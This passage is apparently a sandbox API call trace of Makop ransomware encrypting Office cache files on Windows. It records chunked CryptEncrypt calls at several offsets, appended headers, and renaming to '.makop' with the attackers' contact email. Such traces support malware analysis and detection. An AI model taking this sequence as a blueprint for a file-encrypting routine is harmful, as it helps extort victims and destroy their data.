users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.238] CloseHandle (hObject=0x124) returned 1 [0081.238] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0081.238] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0081.238] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.240] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=177720283) returned 1 [0081.240] GetProcessHeap () returned 0x48a0000 [0081.241] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.241] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.241] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x5, lpOverlapped=0x0) returned 1 [0081.255] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.255] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.255] GetProcessHeap () returned 0x48a0000 [0081.255] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.256] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0081.256] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.256] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0081.256] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.256] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.256] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.257] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.257] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.257] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.257] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.271] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.277] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.277] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.279] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.279] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.280] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.280] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.291] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.294] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.294] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.296] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.297] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.305] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.307] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.307] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.309] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.309] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.309] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.309] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.310] SetEndOfFile (hFile=0x124) returned 1 [0081.319] GetProcessHeap () returned 0x48a0000 [0081.319] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.319] GetProcessHeap () returned 0x48a0000 [0081.319] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.319] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0081.320] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.321] CloseHandle (hObject=0x124) returned 1 [0081.321] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0081.321] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0081.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.324] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=222948913) returned 1 [0081.324] GetProcessHeap () returned 0x48a0000 [0081.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.324] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.325] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.325] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0xf, lpOverlapped=0x0) returned 1 [0081.343] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.343] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.343] GetProcessHeap () returned 0x48a0000 [0081.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0081.343] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0081.343] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.343] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0081.343] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0081.343] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0081.344] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0081.344] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.344] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0081.344] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0081.344] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.344] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.344] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.357] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.360] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.360] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.362] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.362] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.363] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.363] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.379] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.382] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.382] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.386] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.386] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.386] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0081.387] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0081.393] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0081.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd45ee40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.396] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0081.399] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.399] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0081.399] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.400] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd49ef14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.400] SetEndOfFile (hFile=0x124) returned 1 [0081.408] GetProcessHeap () returned 0x48a0000 [0081.408] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0081.408] GetProcessHeap () returned 0x48a0000 [0081.408] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0081.408] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0081.408] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0081.409] CloseHandle (hObject=0x124) returned 1 [0081.410] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0081.410] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0081.410] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0081.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.410] GetProcessHeap () returned 0x48a0000 [0081.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0081.411] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0081.411] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0081.411] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xa, lpOverlapped=0x0) returned 1 [0081.415] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.415] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.415] GetProcessHeap () returned 0x48a0000 [0081.415] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0081.416] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0081.416] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0081.416] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0081.416] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0081.416] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0081.416] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0081.416] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0081.416] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0081.417] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0081.417] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0081.417] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.417] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x7976, lpOverlapped=0x0) returned 1 [0081.419] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x7980, 